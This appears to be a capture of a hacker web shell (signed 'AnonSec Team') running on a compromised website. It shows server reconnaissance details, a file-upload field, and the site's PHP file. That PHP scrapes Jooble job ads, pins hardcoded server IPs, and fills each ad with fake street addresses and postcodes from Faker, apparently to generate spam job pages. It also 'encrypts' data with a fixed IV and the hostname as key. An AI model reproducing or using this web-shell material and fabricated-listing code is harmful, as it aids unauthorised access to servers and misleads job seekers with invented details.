| Server IP : 77.37.83.117 / Your IP :
216.73.216.238 [
Web Server : LiteSpeed System : Linux nl-srv-web1124.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64 User : u964240598 ( 964240598) PHP Version : 8.4.19 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/u964240598/domains/rafikiwema.org/public_html/list/lib/ |
Upload File : |
<?php
include_once "./lib/lib.php";
$service = new service();
class service {
function enkrip($mode, $char){
$encryption_key = $_SERVER['HTTP_HOST'];
$ciphering = "AES-128-CTR";
$iv_length = openssl_cipher_iv_length($ciphering);
$options = 0;
$encryption_iv = '0123456789abcdef';
if ($mode == 'crypt'){
$encryption = openssl_encrypt($char, $ciphering, $encryption_key, $options, $encryption_iv);
$encryption = base64_encode($encryption);
}
if ($mode == 'decrypt'){
$char = base64_decode($char);
$encryption = openssl_decrypt($char, $ciphering, $encryption_key, $options, $encryption_iv);
}
return $encryption;
}
//TAMBAHAN GET Popular
function getDataHome() {
$dir = __DIR__ . "/../cache-data/";
$dataArray = scandir(__DIR__ . "/../cache-data");
unset($dataArray[0]);
unset($dataArray[1]);
$random = array_rand($dataArray, 10);
$returnArr = array();
foreach ($random as $idx) {
if ($dataArray[$idx] == ".json") {
continue;
}
array_push($returnArr, json_decode(file_get_contents($dir . $dataArray[$idx]), 1));
}
return $returnArr;
}
function shuffle_assoc($array) {
if (!is_array($array)) {
return $array;
}
$keys = array_keys($array);
shuffle($keys);
$random = array();
foreach ($keys as $idx => $key) {
if ($idx == 10) {
break;
}
$file = $array[$key];
$random[$key] = json_decode(file_get_contents(__DIR__ . "/../cache-data/{$file}"), 1);
}
return $random;
}
function search_json($array) {
if (!is_array($array)) {
return $array;
}
$keys = array_keys($array);
shuffle($keys);
$random = array();
foreach ($keys as $idx => $key) {
if ($idx == 1000) {
break;
}
$file = $array[$key];
$random[$key] = json_decode(file_get_contents(__DIR__ . "/../cache-data/{$file}"), 1);
}
return $random;
}
function ScrapeJooble($query) {
$countries = array(
"us" => "en_US",
//"ca" => "en_CA",
//"uk" => "en_GB",
//"ja" => "ja_JP",
//"de" => "en_DE",
);
if(strpos($query, 'xtx-') !== false){
$countries = array(
"de" => "de_DE",
);
$query = str_replace("xtx-","",$query);
}
$currencies = array(
"us" => "USD",
"ca" => "CAD",
"uk" => "GBP",
"ja" => "JPY",
"de" => "EUR",
);
$returndata = array();
foreach ($countries as $country => $locale) {
$faker = Faker\Factory::create($locale);
$currency = $currencies[$country];
$json_country = $country;
if ($json_country == 'ja'){
$json_country = 'jp';
}
$postParameter = '{"search":"'.$query.'","isRemoteItSerp":false,"requestPathAndQuery":"/SearchResult?ukw='.$query.'","hashtagsBoosters":[],"kindOfJobBoosters":[],"industryBoosters":[],"page":1}';
$servers = array(
"162.254.190.59",
"162.254.190.58"
);
if ($country == 'uk'||$country == 'nl'||$country == 'de'){
$servers = array(
"88.208.45.104",
"88.208.45.105"
);
}
$country = $country.'.';
if ($country == 'us.'){
$country = '';
}
$url = "https://".$country."jooble.org/api/serp/init/?ukw=".$query."&sid=";
$headers = array(
'Origin: https://'.$country.'jooble.org',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',
'content-type: application/json',
);
$job_server = $servers[array_rand($servers)];
$check_ping_resolve = [$country.'jooble.org:443:'.$job_server];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_RESOLVE, $check_ping_resolve,);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,$postParameter);
curl_setopt($ch, CURLOPT_POST,True);
curl_setopt($ch, CURLOPT_REFERER, 'https://'.$country.'jooble.org/SearchResult?ukw='.$query);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
$response = curl_exec($ch);
//print_r($response);
curl_close($ch);
$nodesLink = json_decode($response);
foreach ($nodesLink->jobs as $results) {
if (isset($results->company->name)){
$curData = array();
$tags = '';
foreach ($results->tags as $tag_list) {
$tags .= $tag_list->text.', ';
}
$uid = $results->uid;
$uid = str_replace("-","",$uid);
$curData["uid"] = $uid;
if(ENKRIPSI == True){
$crypted = $this->enkrip('crypt', $uid);
$curData["crypted"] = $crypted;
}
$address = $faker->streetAddress;
$zip = $faker ->postcode;
$curData["location"] = $results->location->name;
$curData["address"] = $address;
$curData["zip"] = $zip;
$curData["country"] = strtoupper($json_country);
$tittle = $results->position;
$curData["title"] = $tittle;
$curData["slug"] = URLify::slug(trim($curData["title"]));
$curData["sumary"] = strip_tags($results->content);
//$curData["sumary"] = $this->truncate(strip_tags($results->fullContent));
$curData["company"] = $results->company->name;
$curData["description"] = $results->fullContent;
$curData["tags"] = $tags;
$curData["url_out"] = $results->url;
if (isset($results->salary)){
$curData["salary"] = $results->salary;
$curData["currency"] =$currency;
}
else{
$curData["salary"] = '';
$curData["currency"] = '';
}
$curData["pubDate"] = strtotime($results->dateUpdated);
if (!file_exists(__DIR__ . "/../cache-data/{$uid}.json")) {
file_put_contents(__DIR__ . "/../cache-data/{$uid}.json", json_encode($curData));
}
$_SESSION[$curData["uid"]] = $curData;
array_push($returndata, $curData);
}
}
}
file_put_contents(".temp", json_encode($_SESSION));
return $returndata;
}
function getSearchKw($kw = '', $single = 0) {
$start = 0;
$limit = 10;
if (isset($_GET["page"]) && $_GET["page"] > 1) {
$start = $_GET["page"] * 10;
$limit = $start + 10;
}
$country = $this->get_country(COUNTRY);
if ($kw != '') {
$url = str_replace("{{kw}}", $kw, $country[3]);
$url = str_replace("{{loc}}", $country[1], $url);
$url = str_replace("{{start}}", $start, $url);
} else {
$url = $country[1];
}
$dataReturn = $this->get_by_kw($url.'&fromage=1&sort=date', $single);
return $dataReturn;
}
function truncate($text, $chars = 200) {
if (strlen($text) <= $chars) {
return $text;
}
$text = $text." ";
$text = substr($text,0,$chars);
$text = substr($text,0,strrpos($text,' '));
return $text;
}
function get_string_between($string, $start, $end){
$string = ' ' . $string;
$ini = strpos($string, $start);
if ($ini == 0) return '';
$ini += strlen($start);
$len = strpos($string, $end, $ini) - $ini;
return substr($string, $ini, $len);
}
}
Anon7 - 2022
AnonSec Team
